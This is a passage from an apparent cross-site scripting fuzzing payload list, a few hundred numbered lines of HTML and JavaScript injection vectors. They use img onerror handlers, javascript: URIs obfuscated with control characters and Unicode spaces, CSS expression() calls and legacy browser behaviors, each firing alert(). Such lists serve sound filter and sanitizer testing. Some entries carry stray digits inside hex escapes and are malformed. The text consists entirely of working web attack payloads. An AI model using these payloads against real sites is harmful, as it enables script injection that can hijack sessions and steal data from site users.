 985 | `"'><img src='#\x27 onerror=javascript:alert(1475)>
 986 | <a href="javascript\x3Ajavascript:alert(1476)" id="fuzzelement1476">test</a>
 987 | "'`><p><svg><script>a='hello\x27;javascript:alert(1477)//';</script></p>
 988 | <a href="javas\x00cript:javascript:alert(1478)" id="fuzzelement1478">test</a>
 989 | <a href="javas\x07cript:javascript:alert(1479)" id="fuzzelement1479">test</a>
 990 | <a href="javas\x0Dcript:javascript:alert(1480)" id="fuzzelement1480">test</a>
 991 | <a href="javas\x0Acript:javascript:alert(1481)" id="fuzzelement1481">test</a>
 992 | <a href="javas\x08cript:javascript:alert(1482)" id="fuzzelement1482">test</a>
 993 | <a href="javas\x02cript:javascript:alert(1483)" id="fuzzelement1483">test</a>
 994 | <a href="javas\x03cript:javascript:alert(1484)" id="fuzzelement1484">test</a>
 995 | <a href="javas\x04cript:javascript:alert(1485)" id="fuzzelement1485">test</a>
 996 | <a href="javas\x01486cript:javascript:alert(1486)" id="fuzzelement1486">test</a>
 997 | <a href="javas\x05cript:javascript:alert(1487)" id="fuzzelement1487">test</a>
 998 | <a href="javas\x0Bcript:javascript:alert(1488)" id="fuzzelement1488">test</a>
 999 | <a href="javas\x09cript:javascript:alert(1489)" id="fuzzelement1489">test</a>
1000 | <a href="javas\x06cript:javascript:alert(1490)" id="fuzzelement1490">test</a>
1001 | <a href="javas\x0Ccript:javascript:alert(1491)" id="fuzzelement1491">test</a>
1002 | <script>/* *\x2A/javascript:alert(1492)// */</script>
1003 | <script>/* *\x00/javascript:alert(1493)// */</script>
1004 | <style></style\x3E<img src="about:blank" onerror=javascript:alert(1494)//></style>
1005 | <style></style\x0D<img src="about:blank" onerror=javascript:alert(1495)//></style>
1006 | <style></style\x09<img src="about:blank" onerror=javascript:alert(1496)//></style>
1007 | <style></style\x20<img src="about:blank" onerror=javascript:alert(1497)//></style>
1008 | <style></style\x0A<img src="about:blank" onerror=javascript:alert(1498)//></style>
1009 | "'`>ABC<div style="font-family:'foo'\x7Dx:expression(javascript:alert(1499);/*';">DEF
1010 | "'`>ABC<div style="font-family:'foo'\x3Bx:expression(javascript:alert(1500);/*';">DEF
1011 | <script>if("x\\xE1501\x96\x89".length==2) { javascript:alert(1501);}</script>
1012 | <script>if("x\\xE0\xB9\x92".length==2) { javascript:alert(1502);}</script>
1013 | <script>if("x\\xEE\xA9\x93".length==2) { javascript:alert(1503);}</script>
1014 | '`"><\x3Cscript>javascript:alert(1504)</script>
1015 | '`"><\x00script>javascript:alert(1505)</script>
1016 | "'`><\x3Cimg src=xxx:x onerror=javascript:alert(1506)>
1017 | "'`><\x00img src=xxx:x onerror=javascript:alert(1507)>
1018 | <script src="data:text/plain\x2Cjavascript:alert(1508)"></script>
1019 | <script src="data:\xD4\x8F,javascript:alert(1509)"></script>
1020 | <script src="data:\xE0\xA4\x98,javascript:alert(1510)"></script>
1021 | <script src="data:\xCB\x8F,javascript:alert(1511)"></script>
1022 | <script\x20type="text/javascript">javascript:alert(1512);</script>
1023 | <script\x3Etype="text/javascript">javascript:alert(1513);</script>
1024 | <script\x0Dtype="text/javascript">javascript:alert(1514);</script>
1025 | <script\x09type="text/javascript">javascript:alert(1515);</script>
1026 | <script\x0Ctype="text/javascript">javascript:alert(1516);</script>
1027 | <script\x2Ftype="text/javascript">javascript:alert(1517);</script>
1028 | <script\x0Atype="text/javascript">javascript:alert(1518);</script>
1029 | ABC<div style="x\x3Aexpression(javascript:alert(1519)">DEF
1030 | ABC<div style="x:expression\x5C(javascript:alert(1520)">DEF
1031 | ABC<div style="x:expression\x00(javascript:alert(1521)">DEF
1032 | ABC<div style="x:exp\x00ression(javascript:alert(1522)">DEF
1033 | ABC<div style="x:exp\x5Cression(javascript:alert(1523)">DEF
1034 | ABC<div style="x:\x0Aexpression(javascript:alert(1524)">DEF
1035 | ABC<div style="x:\x09expression(javascript:alert(1525)">DEF
1036 | ABC<div style="x:\xE3\x80\x80expression(javascript:alert(1526)">DEF
1037 | ABC<div style="x:\xE2\x80\x84expression(javascript:alert(1527)">DEF
1038 | ABC<div style="x:\xC2\xA0expression(javascript:alert(1528)">DEF
1039 | ABC<div style="x:\xE2\x80\x80expression(javascript:alert(1529)">DEF
1040 | ABC<div style="x:\xE2\x80\x8Aexpression(javascript:alert(1530)">DEF
1041 | ABC<div style="x:\x0Dexpression(javascript:alert(1531)">DEF
1042 | ABC<div style="x:\x0Cexpression(javascript:alert(1532)">DEF
1043 | ABC<div style="x:\xE2\x80\x87expression(javascript:alert(1533)">DEF
1044 | ABC<div style="x:\xEF\xBB\xBFexpression(javascript:alert(1534)">DEF
1045 | ABC<div style="x:\x20expression(javascript:alert(1535)">DEF
1046 | ABC<div style="x:\xE2\x80\x88expression(javascript:alert(1536)">DEF
1047 | ABC<div style="x:\x00expression(javascript:alert(1537)">DEF
1048 | ABC<div style="x:\xE2\x80\x8Bexpression(javascript:alert(1538)">DEF
1049 | ABC<div style="x:\xE2\x80\x86expression(javascript:alert(1539)">DEF
1050 | ABC<div style="x:\xE2\x80\x85expression(javascript:alert(1540)">DEF
1051 | ABC<div style="x:\xE2\x80\x82expression(javascript:alert(1541)">DEF
1052 | ABC<div style="x:\x0Bexpression(javascript:alert(1542)">DEF
1053 | ABC<div style="x:\xE2\x80\x81543expression(javascript:alert(1543)">DEF
1054 | ABC<div style="x:\xE2\x80\x83expression(javascript:alert(1544)">DEF
1055 | ABC<div style="x:\xE2\x80\x89expression(javascript:alert(1545)">DEF
1056 | <a href="\x0Bjavascript:javascript:alert(1546)" id="fuzzelement1546">test</a>
1057 | <a href="\x0Fjavascript:javascript:alert(1547)" id="fuzzelement1547">test</a>
1058 | <a href="\xC2\xA0javascript:javascript:alert(1548)" id="fuzzelement1548">test</a>
1059 | <a href="\x05javascript:javascript:alert(1549)" id="fuzzelement1549">test</a>
1060 | <a href="\xE1550\xA0\x8Ejavascript:javascript:alert(1550)" id="fuzzelement1550">test</a>
1061 | <a href="\x15518javascript:javascript:alert(1551)" id="fuzzelement1551">test</a>
1062 | <a href="\x15521552javascript:javascript:alert(1552)" id="fuzzelement1552">test</a>
1063 | <a href="\xE2\x80\x88javascript:javascript:alert(1553)" id="fuzzelement1553">test</a>
1064 | <a href="\xE2\x80\x89javascript:javascript:alert(1554)" id="fuzzelement1554">test</a>
1065 | <a href="\xE2\x80\x80javascript:javascript:alert(1555)" id="fuzzelement1555">test</a>
1066 | <a href="\x15567javascript:javascript:alert(1556)" id="fuzzelement1556">test</a>
1067 | <a href="\x03javascript:javascript:alert(1557)" id="fuzzelement1557">test</a>
1068 | <a href="\x0Ejavascript:javascript:alert(1558)" id="fuzzelement1558">test</a>
1069 | <a href="\x1559Ajavascript:javascript:alert(1559)" id="fuzzelement1559">test</a>
1070 | <a href="\x00javascript:javascript:alert(1560)" id="fuzzelement1560">test</a>
1071 | <a href="\x15610javascript:javascript:alert(1561)" id="fuzzelement1561">test</a>
1072 | <a href="\xE2\x80\x82javascript:javascript:alert(1562)" id="fuzzelement1562">test</a>
1073 | <a href="\x20javascript:javascript:alert(1563)" id="fuzzelement1563">test</a>
1074 | <a href="\x15643javascript:javascript:alert(1564)" id="fuzzelement1564">test</a>
1075 | <a href="\x09javascript:javascript:alert(1565)" id="fuzzelement1565">test</a>
1076 | <a href="\xE2\x80\x8Ajavascript:javascript:alert(1566)" id="fuzzelement1566">test</a>
1077 | <a href="\x15674javascript:javascript:alert(1567)" id="fuzzelement1567">test</a>
1078 | <a href="\x15689javascript:javascript:alert(1568)" id="fuzzelement1568">test</a>
1079 | <a href="\xE2\x80\xAFjavascript:javascript:alert(1569)" id="fuzzelement1569">test</a>
1080 | <a href="\x1570Fjavascript:javascript:alert(1570)" id="fuzzelement1570">test</a>
1081 | <a href="\xE2\x80\x81571javascript:javascript:alert(1571)" id="fuzzelement1571">test</a>
1082 | <a href="\x1572Djavascript:javascript:alert(1572)" id="fuzzelement1572">test</a>
1083 | <a href="\xE2\x80\x87javascript:javascript:alert(1573)" id="fuzzelement1573">test</a>
1084 | <a href="\x07javascript:javascript:alert(1574)" id="fuzzelement1574">test</a>
1085 | <a href="\xE1575\x9A\x80javascript:javascript:alert(1575)" id="fuzzelement1575">test</a>
1086 | <a href="\xE2\x80\x83javascript:javascript:alert(1576)" id="fuzzelement1576">test</a>
1087 | <a href="\x04javascript:javascript:alert(1577)" id="fuzzelement1577">test</a>
1088 | <a href="\x01578javascript:javascript:alert(1578)" id="fuzzelement1578">test</a>
1089 | <a href="\x08javascript:javascript:alert(1579)" id="fuzzelement1579">test</a>
1090 | <a href="\xE2\x80\x84javascript:javascript:alert(1580)" id="fuzzelement1580">test</a>
1091 | <a href="\xE2\x80\x86javascript:javascript:alert(1581)" id="fuzzelement1581">test</a>
1092 | <a href="\xE3\x80\x80javascript:javascript:alert(1582)" id="fuzzelement1582">test</a>
1093 | <a href="\x15832javascript:javascript:alert(1583)" id="fuzzelement1583">test</a>
1094 | <a href="\x0Djavascript:javascript:alert(1584)" id="fuzzelement1584">test</a>
1095 | <a href="\x0Ajavascript:javascript:alert(1585)" id="fuzzelement1585">test</a>
1096 | <a href="\x0Cjavascript:javascript:alert(1586)" id="fuzzelement1586">test</a>
1097 | <a href="\x15875javascript:javascript:alert(1587)" id="fuzzelement1587">test</a>
1098 | <a href="\xE2\x80\xA8javascript:javascript:alert(1588)" id="fuzzelement1588">test</a>
1099 | <a href="\x15896javascript:javascript:alert(1589)" id="fuzzelement1589">test</a>
1100 | <a href="\x02javascript:javascript:alert(1590)" id="fuzzelement1590">test</a>
1101 | <a href="\x1591Bjavascript:javascript:alert(1591)" id="fuzzelement1591">test</a>
1102 | <a href="\x06javascript:javascript:alert(1592)" id="fuzzelement1592">test</a>
1103 | <a href="\xE2\x80\xA9javascript:javascript:alert(1593)" id="fuzzelement1593">test</a>
1104 | <a href="\xE2\x80\x85javascript:javascript:alert(1594)" id="fuzzelement1594">test</a>
1105 | <a href="\x1595Ejavascript:javascript:alert(1595)" id="fuzzelement1595">test</a>
1106 | <a href="\xE2\x81596\x9Fjavascript:javascript:alert(1596)" id="fuzzelement1596">test</a>
1107 | <a href="\x1597Cjavascript:javascript:alert(1597)" id="fuzzelement1597">test</a>
1108 | <a href="javascript\x00:javascript:alert(1598)" id="fuzzelement1598">test</a>
1109 | <a href="javascript\x3A:javascript:alert(1599)" id="fuzzelement1599">test</a>
1110 | <a href="javascript\x09:javascript:alert(1600)" id="fuzzelement1600">test</a>
1111 | <a href="javascript\x0D:javascript:alert(1601)" id="fuzzelement1601">test</a>
1112 | <a href="javascript\x0A:javascript:alert(1602)" id="fuzzelement1602">test</a>
1113 | `"'><img src=xxx:x \x0Aonerror=javascript:alert(1603)>
1114 | `"'><img src=xxx:x \x22onerror=javascript:alert(1604)>
1115 | `"'><img src=xxx:x \x0Bonerror=javascript:alert(1605)>
1116 | `"'><img src=xxx:x \x0Donerror=javascript:alert(1606)>
1117 | `"'><img src=xxx:x \x2Fonerror=javascript:alert(1607)>
1118 | `"'><img src=xxx:x \x09onerror=javascript:alert(1608)>
1119 | `"'><img src=xxx:x \x0Conerror=javascript:alert(1609)>
1120 | `"'><img src=xxx:x \x00onerror=javascript:alert(1610)>
1121 | `"'><img src=xxx:x \x27onerror=javascript:alert(1611)>
1122 | `"'><img src=xxx:x \x20onerror=javascript:alert(1612)>
1123 | "`'><script>\x3Bjavascript:alert(1613)</script>
1124 | "`'><script>\x0Djavascript:alert(1614)</script>
1125 | "`'><script>\xEF\xBB\xBFjavascript:alert(1615)</script>
1126 | "`'><script>\xE2\x80\x81616javascript:alert(1616)</script>
1127 | "`'><script>\xE2\x80\x84javascript:alert(1617)</script>
1128 | "`'><script>\xE3\x80\x80javascript:alert(1618)</script>
1129 | "`'><script>\x09javascript:alert(1619)</script>
1130 | "`'><script>\xE2\x80\x89javascript:alert(1620)</script>
1131 | "`'><script>\xE2\x80\x85javascript:alert(1621)</script>
1132 | "`'><script>\xE2\x80\x88javascript:alert(1622)</script>
1133 | "`'><script>\x00javascript:alert(1623)</script>
1134 | "`'><script>\xE2\x80\xA8javascript:alert(1624)</script>
1135 | "`'><script>\xE2\x80\x8Ajavascript:alert(1625)</script>
1136 | "`'><script>\xE1626\x9A\x80javascript:alert(1626)</script>
1137 | "`'><script>\x0Cjavascript:alert(1627)</script>
1138 | "`'><script>\x2Bjavascript:alert(1628)</script>
1139 | "`'><script>\xF0\x90\x96\x9Ajavascript:alert(1629)</script>
1140 | "`'><script>-javascript:alert(1630)</script>
1141 | "`'><script>\x0Ajavascript:alert(1631)</script>
1142 | "`'><script>\xE2\x80\xAFjavascript:alert(1632)</script>
1143 | "`'><script>\x7Ejavascript:alert(1633)</script>
1144 | "`'><script>\xE2\x80\x87javascript:alert(1634)</script>
1145 | "`'><script>\xE2\x81635\x9Fjavascript:alert(1635)</script>
1146 | "`'><script>\xE2\x80\xA9javascript:alert(1636)</script>
1147 | "`'><script>\xC2\x85javascript:alert(1637)</script>
1148 | "`'><script>\xEF\xBF\xAEjavascript:alert(1638)</script>
1149 | "`'><script>\xE2\x80\x83javascript:alert(1639)</script>
1150 | "`'><script>\xE2\x80\x8Bjavascript:alert(1640)</script>
1151 | "`'><script>\xEF\xBF\xBEjavascript:alert(1641)</script>
1152 | "`'><script>\xE2\x80\x80javascript:alert(1642)</script>
1153 | "`'><script>\x21643javascript:alert(1643)</script>
1154 | "`'><script>\xE2\x80\x82javascript:alert(1644)</script>
1155 | "`'><script>\xE2\x80\x86javascript:alert(1645)</script>
1156 | "`'><script>\xE1646\xA0\x8Ejavascript:alert(1646)</script>
1157 | "`'><script>\x0Bjavascript:alert(1647)</script>
1158 | "`'><script>\x20javascript:alert(1648)</script>
1159 | "`'><script>\xC2\xA0javascript:alert(1649)</script>
1160 | "/><img/onerror=\x0Bjavascript:alert(1650)\x0Bsrc=xxx:x />
1161 | "/><img/onerror=\x22javascript:alert(1651)\x22src=xxx:x />
1162 | "/><img/onerror=\x09javascript:alert(1652)\x09src=xxx:x />
1163 | "/><img/onerror=\x27javascript:alert(1653)\x27src=xxx:x />
1164 | "/><img/onerror=\x0Ajavascript:alert(1654)\x0Asrc=xxx:x />
1165 | "/><img/onerror=\x0Cjavascript:alert(1655)\x0Csrc=xxx:x />
1166 | "/><img/onerror=\x0Djavascript:alert(1656)\x0Dsrc=xxx:x />
1167 | "/><img/onerror=\x60javascript:alert(1657)\x60src=xxx:x />
1168 | "/><img/onerror=\x20javascript:alert(1658)\x20src=xxx:x />
1169 | <script\x2F>javascript:alert(1659)</script>
1170 | <script\x20>javascript:alert(1660)</script>
1171 | <script\x0D>javascript:alert(1661)</script>
1172 | <script\x0A>javascript:alert(1662)</script>
1173 | <script\x0C>javascript:alert(1663)</script>
1174 | <script\x00>javascript:alert(1664)</script>
1175 | <script\x09>javascript:alert(1665)</script>
1176 | "><img src=x onerror=javascript:alert(1666)>
1177 | "><img src=x onerror=javascript:alert(1667)>
1178 | "><img src=x onerror=javascript:alert(1668)>
1179 | "><img src=x onerror=javascript:alert(1669)>
1180 | "><img src=x onerror=javascript:alert(1670))>
1181 | "><img src=x onerror=javascript:alert(1671))>
1182 | "><img src=x onerror=javascript:alert(1672))>
1183 | "><img src=x onerror=javascript:alert(1673)>
1184 | "><img src=x onerror=javascript:alert(1674))>
1185 | "><img src=x onerror=javascript:alert(1675))>
1186 | "><img src=x onerror=javascript:alert(1676)>
1187 | "><img src=x onerror=javascript:alert(1677))>
1188 | "><img src=x onerror=javascript:alert(1678)>
1189 | "><img src=x onerror=javascript:alert(1679))>
1190 | "><img src=x onerror=javascript:alert(1680)>
1191 | `"'><img src=xxx:x onerror\x0B=javascript:alert(1681)>
1192 | `"'><img src=xxx:x onerror\x00=javascript:alert(1682)>
1193 | `"'><img src=xxx:x onerror\x0C=javascript:alert(1683)>
1194 | `"'><img src=xxx:x onerror\x0D=javascript:alert(1684)>
1195 | `"'><img src=xxx:x onerror\x20=javascript:alert(1685)>
1196 | `"'><img src=xxx:x onerror\x0A=javascript:alert(1686)>
1197 | `"'><img src=xxx:x onerror\x09=javascript:alert(1687)>
1198 | <script>javascript:alert(1688)<\x00/script>
1199 | <img src=# onerror\x3D"javascript:alert(1689)" >
1200 | <input onfocus=javascript:alert(1690) autofocus>
1201 | <input onblur=javascript:alert(1691) autofocus><input autofocus>
1202 | <video poster=javascript:javascript:alert(1692)//
1203 | <body onscroll=javascript:alert(1693)><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><input autofocus>
1204 | <form id=test onforminput=javascript:alert(1694)><input></form><button form=test onformchange=javascript:alert(1694)>X
1205 | <video><source onerror="javascript:javascript:alert(1695)">
1206 | <video onerror="javascript:javascript:alert(1696)"><source>
1207 | <form><button formaction="javascript:javascript:alert(1697)">X
1208 | <body oninput=javascript:alert(1698)><input autofocus>
1209 | <math href="javascript:javascript:alert(1699)">CLICKME</math>  <math> <maction actiontype="statusline#http://google.com" xlink:href="javascript:javascript:alert(1699)">CLICKME</maction> </math>
1210 | <frameset onload=javascript:alert(1700)>
1211 | <table background="javascript:javascript:alert(1701)">
1212 | <!--<img src="--><img src=x onerror=javascript:alert(1702)//">
1213 | <comment><img src="</comment><img src=x onerror=javascript:alert(1703))//">
1214 | <![><img src="]><img src=x onerror=javascript:alert(1704)//">
1215 | <style><img src="</style><img src=x onerror=javascript:alert(1705)//">
1216 | <li style=list-style:url() onerror=javascript:alert(1706)> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=javascript:alert(1706)></div>
1217 | <head><base href="javascript://"></head><body><a href="/. /,javascript:alert(1707)//#">XXX</a></body>
1218 | <SCRIPT FOR=document EVENT=onreadystatechange>javascript:alert(1708)</SCRIPT>
1219 | <OBJECT CLASSID="clsid:333C7BC4-460F-17091709D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1709)"></OBJECT>
1220 | <b <script>alert(1712)</script>0
1221 | <div id="div1713"><input value="``onmouseover=javascript:alert(1713)"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1713").innerHTML;</script>
1222 | <x '="foo"><x foo='><img src=x onerror=javascript:alert(1714)//'>
1223 | <embed src="javascript:alert(1715)">
1224 | <img src="javascript:alert(1716)">
1225 | <image src="javascript:alert(1717)">
1226 | <script src="javascript:alert(1718)">
1227 | <div style=width:1719px;filter:glow onfilterchange=javascript:alert(1719)>x
1228 | <? foo="><script>javascript:alert(1720)</script>">
1229 | <! foo="><script>javascript:alert(1721)</script>">
1230 | </ foo="><script>javascript:alert(1722)</script>">
1231 | <? foo="><x foo='?><script>javascript:alert(1723)</script>'>">
1232 | <! foo="[[[Inception]]"><x foo="]foo><script>javascript:alert(1724)</script>">
1233 | <% foo><x foo="%><script>javascript:alert(1725)</script>">
1234 | <div id=d><x xmlns="><iframe onload=javascript:alert(1726)"></div> <script>d.innerHTML=d.innerHTML</script>
1235 | <img \x00src=x onerror="alert(1727)">
1236 | <img \x47src=x onerror="javascript:alert(1728)">
1237 | <img \x17291729src=x onerror="javascript:alert(1729)">
1238 | <img \x17302src=x onerror="javascript:alert(1730)">
1239 | <img\x47src=x onerror="javascript:alert(1731)">
1240 | <img\x17320src=x onerror="javascript:alert(1732)">
1241 | <img\x17333src=x onerror="javascript:alert(1733)">
1242 | <img\x32src=x onerror="javascript:alert(1734)">
1243 | <img\x47src=x onerror="javascript:alert(1735)">
1244 | <img\x17361736src=x onerror="javascript:alert(1736)">
1245 | <img \x47src=x onerror="javascript:alert(1737)">
1246 | <img \x34src=x onerror="javascript:alert(1738)">
1247 | <img \x39src=x onerror="javascript:alert(1739)">
1248 | <img \x00src=x onerror="javascript:alert(1740)">
1249 | <img src\x09=x onerror="javascript:alert(1741)">
1250 | <img src\x17420=x onerror="javascript:alert(1742)">
1251 | <img src\x17433=x onerror="javascript:alert(1743)">
1252 | <img src\x32=x onerror="javascript:alert(1744)">
1253 | <img src\x17452=x onerror="javascript:alert(1745)">
1254 | <img src\x17461746=x onerror="javascript:alert(1746)">
1255 | <img src\x00=x onerror="javascript:alert(1747)">
1256 | <img src\x47=x onerror="javascript:alert(1748)">
1257 | <img src=x\x09onerror="javascript:alert(1749)">
1258 | <img src=x\x17500onerror="javascript:alert(1750)">
1259 | <img src=x\x17511751onerror="javascript:alert(1751)">
1260 | <img src=x\x17522onerror="javascript:alert(1752)">
1261 | <img src=x\x17533onerror="javascript:alert(1753)">
1262 | <img[a][b][c]src[d]=x[e]onerror=[f]"alert(1754)">
1263 | <img src=x onerror=\x09"javascript:alert(1755)">
1264 | <img src=x onerror=\x17560"javascript:alert(1756)">
1265 | <img src=x onerror=\x17571757"javascript:alert(1757)">
1266 | <img src=x onerror=\x17582"javascript:alert(1758)">
1267 | <img src=x onerror=\x32"javascript:alert(1759)">
1268 | <img src=x onerror=\x00"javascript:alert(1760)">
1269 | <a href=java&#1761&#2&#3&#4&#5&#6&#7&#8&#17611761&#17612script:javascript:alert(1761)>XXX</a>
1270 | <img src="x` `<script>javascript:alert(1762)</script>"` `>
1271 | <img src onerror /" '"= alt=javascript:alert(1763)//">
1272 | <title onpropertychange=javascript:alert(1764)></title><title title=>
1273 | <a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=javascript:alert(1765)></a>">
1274 | <!--[if]><script>javascript:alert(1766)</script -->
1275 | <!--[if<img src=x onerror=javascript:alert(1767)//]> -->
1276 | <object id="x" classid="clsid:CB927D17702-4FF7-4a9e-A177069-56E4B8A75598"></object> <object classid="clsid:02BF25D5-8C17707-4B23-BC80-D3488ABDDC6B" onqt_error="javascript:alert(1770)" style="behavior:url(#x);"><param name=postdomevents /></object>
1277 | <a style="-o-link:'javascript:javascript:alert(1771)';-o-link-source:current">X
1278 | <style>p[foo=bar{}*{-o-link:'javascript:javascript:alert(1772)'}{}*{-o-link-source:current}]{color:red};</style>
1279 | <link rel=stylesheet href=data:,*%7bx:expression(javascript:alert(1773))%7d
1280 | <style>@import "data:,*%7bx:expression(javascript:alert(1774))%7D";</style>
1281 | <a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="javascript:alert(1775);">XXX</a></a><a href="javascript:javascript:alert(1775)">XXX</a>
1282 | <// style=x:expression\28javascript:alert(1779)\29>
1283 | <style>*{x:ｅｘｐｒｅｓｓｉｏｎ(javascript:alert(1780))}</style>
1284 | <div style="list-style:url(http://foo.f)\20url(javascript:javascript:alert(1782));">X
1285 | <script>({set/**/$($){_/**/setter=$,_=javascript:alert(1788)}}).$=eval</script>
1286 | <script>({0:#0=eval/#0#/#0#(javascript:alert(1789))})</script>
1287 | <script>ReferenceError.prototype.__defineGetter__('name', function(){javascript:alert(1790)}),x</script>
1288 | <script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('javascript:alert(1791)')()</script>
1289 | <meta charset="mac-farsi">¼script¾javascript:alert(1794)¼/script¾
1290 | X<x style=`behavior:url(#default#time2)` onbegin=`javascript:alert(1795)` >
1291 | 1796<set/xmlns=`urn:schemas-microsoft-com:time` style=`beh&#x41796vior:url(#default#time2)` attributename=`innerhtml` to=`&lt;img/src=&quot;x&quot;onerror=javascript:alert(1796)&gt;`>
1292 | 1797<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=&lt;img/src=&quot;.&quot;onerror=javascript:alert(1797)&gt;>
1293 | 1799<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:javascript:alert(1799) strokecolor=white strokeweight=1799000px from=0 to=1799000 /></a>
1294 | <a style="behavior:url(#default#AnchorClick);" folder="javascript:javascript:alert(1800)">XXX</a>
1295 | <event-source src="%(event)s" onload="javascript:alert(1803)">
1296 | <a href="javascript:javascript:alert(1804)"><event-source src="data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A">
1297 | <div id="x">x</div> <xml:namespace prefix="t"> <import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" targetElement="x" to="&lt;img&#18051805;src=x:x&#18051805;onerror&#18051805;=javascript:alert(1805)&gt;">
1298 | <script>javascript:alert(1809)</script>
1299 | <IMG SRC="javascript:javascript:alert(1810);">
1300 | <IMG SRC=javascript:javascript:alert(1811)>
1301 | <IMG SRC=`javascript:javascript:alert(1812)`>
1302 | <FRAMESET><FRAME SRC="javascript:javascript:alert(1814);"></FRAMESET>
1303 | <BODY ONLOAD=javascript:alert(1815)>
1304 | <BODY ONLOAD=javascript:javascript:alert(1816)>
1305 | <IMG SRC="jav ascript:javascript:alert(1817);">
1306 | <BODY onload!#$%%&()*~+-_.,:;?@[/|\]^`=javascript:alert(1818)>
1307 | <IMG SRC="javascript:javascript:alert(1821)"
1308 | <INPUT TYPE="IMAGE" SRC="javascript:javascript:alert(1823);">
1309 | <IMG DYNSRC="javascript:javascript:alert(1824)">
1310 | <IMG LOWSRC="javascript:javascript:alert(1825)">
1311 | <BGSOUND SRC="javascript:javascript:alert(1826);">
1312 | <BR SIZE="&{javascript:alert(1827)}">
1313 | <LINK REL="stylesheet" HREF="javascript:javascript:alert(1829);">
1314 | <STYLE>li {list-style-image: url("javascript:javascript:alert(1833)");}</STYLE><UL><LI>XSS
1315 | <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:javascript:alert(1834);">
1316 | <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:javascript:alert(1835);">
1317 | <IFRAME SRC="javascript:javascript:alert(1836);"></IFRAME>
1318 | <TABLE BACKGROUND="javascript:javascript:alert(1837)">
1319 | <TABLE><TD BACKGROUND="javascript:javascript:alert(1838)">
1320 | <DIV STYLE="background-image: url(javascript:javascript:alert(1839))">
1321 | <DIV STYLE="width:expression(javascript:alert(1840));">
1322 | <IMG STYLE="xss:expr/*XSS*/ession(javascript:alert(1841))">
1323 | <XSS STYLE="xss:expression(javascript:alert(1842))">
1324 | <STYLE TYPE="text/javascript">javascript:alert(1843);</STYLE>
1325 | <STYLE>.XSS{background-image:url("javascript:javascript:alert(1844)");}</STYLE><A CLASS=XSS></A>
1326 | <STYLE type="text/css">BODY{background:url("javascript:javascript:alert(1845)")}</STYLE>
1327 | <!--[if gte IE 4]><SCRIPT>javascript:alert(1846);</SCRIPT><![endif]-->
1328 | <BASE HREF="javascript:javascript:alert(1847);//">
1329 | <OBJECT classid=clsid:ae24fdae-03c6-18491849d1849-8b76-0080c744f389><param name=url value=javascript:javascript:alert(1849)></OBJECT>
1330 | <HTML xmlns:xss><?import namespace="xss" implementation="%(htc)s"><xss:xss>XSS</xss:xss></HTML>""","XML namespace."),("""<XML ID="xss"><I><B>&lt;IMG SRC="javas<!-- -->cript:javascript:alert(1850)"&gt;</B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
1331 | <HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS&lt;SCRIPT DEFER&gt;javascript:alert(1851)&lt;/SCRIPT&gt;"></BODY></HTML>
1332 | <form id="test" /><button form="test" formaction="javascript:javascript:alert(1854)">X
1333 | <body onscroll=javascript:alert(1855)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
1334 | <P STYLE="behavior:url('#default#time2')" end="0" onEnd="javascript:alert(1856)">
1335 | <STYLE>a{background:url('s1858' 's2)}@import javascript:javascript:alert(1858);');}</STYLE>
1336 | <meta charset= "x-imap4-modified-utf7"&&>&&<script&&>javascript:alert(1859)&&;&&<&&/script&&>
1337 | <SCRIPT onreadystatechange=javascript:javascript:alert(1860);></SCRIPT>
1338 | <style onreadystatechange=javascript:javascript:alert(1861);></style>
1339 | <?xml version="1862.0"?><html:html xmlns:html='http://www.w3.org/1862999/xhtml'><html:script>javascript:alert(1862);</html:script></html:html>
1340 | <embed code=javascript:javascript:alert(1864);></embed>
1341 | <frameset onload=javascript:javascript:alert(1866)></frameset>
1342 | <object onerror=javascript:javascript:alert(1867)>
1343 | <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:javascript:alert(1869);">]]</C><X></xml>
1344 | <IMG SRC=&{javascript:alert(1870);};>
1345 | <a href="jav&#65ascript:javascript:alert(1871)">test1871</a>
1346 | <a href="jav&#97ascript:javascript:alert(1872)">test1872</a>
1347 | <iframe srcdoc="&LT;iframe&sol;srcdoc=&amp;lt;img&sol;src=&amp;apos;&amp;apos;onerror=javascript:alert(1874)&amp;gt;>">
1348 | ';alert(1875))//';alert(1875))//";
1349 | alert(1876))//";alert(1876))//--
1350 | ></SCRIPT>">'><SCRIPT>alert(1877))</SCRIPT>
1351 | <IMG SRC="javascript:alert(1880);">
1352 | <IMG SRC=javascript:alert(1881)>
1353 | <IMG SRC=JaVaScRiPt:alert(1882)>
1354 | <IMG SRC=javascript:alert(1883)>
1355 | <IMG SRC=`javascript:alert(1884)`>
1356 | <a onmouseover="alert(1885)">xxs link</a>
1357 | <a onmouseover=alert(1886)>xxs link</a>
1358 | <IMG """><SCRIPT>alert(1887)</SCRIPT>">
1359 | <IMG SRC=javascript:alert(1888))>
1360 | <IMG SRC=# onmouseover="alert(1889)">
1361 | <IMG SRC= onmouseover="alert(1890)">
1362 | <IMG onmouseover="alert(1891)">
1363 | <IMG SRC="jav ascript:alert(1895);">
1364 | <IMG SRC="jav&#x09;ascript:alert(1896);">
